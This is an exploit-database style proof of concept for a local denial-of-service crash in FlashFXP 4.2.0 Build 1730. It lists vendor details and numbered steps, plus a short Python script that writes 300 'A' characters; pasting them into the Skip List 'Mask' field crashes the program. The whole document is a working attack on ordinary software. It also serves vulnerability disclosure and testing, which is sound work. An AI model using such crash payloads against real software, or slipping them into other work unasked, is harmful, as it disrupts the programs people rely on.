# Exploit Title: FlashFXP 4.2.0 Build 1730 - Denial of Service (PoC) # Vendor Homepage: https://www.flashfxp.com/ # Software Link Download: https://www.filehorse.com/download-flashfxp/22451/download/# Exploit Author: Paras Bhatia# Discovery Date: 2020-03-30# Vulnerable Software: FlashFXP# Version: 4.2.0 Build 1730# Vulnerability Type: Denial of Service (DoS) Local# Tested on: Windows 10 Pro (64 bit) #Steps to Produce the Crash:# 1.- Run python code: FlashCrash.py# 2.- Copy content to clipboard# 3.- Open "FlashFXP.exe"# 4.- Go to "Options" > Filters > Skip List > New Entry# 5.- Paste ClipBoard into the "Mask" field# 6.- Click on OK# 7.- Go to "Options" > Filters > Skip List# 8.- Crashed##################################################################################################################################################Python "FlashCrash.py" Code:
buffer = "\x41"* 300
f = open ("FlashCrash.txt","w")
f.write(buffer)
f.close()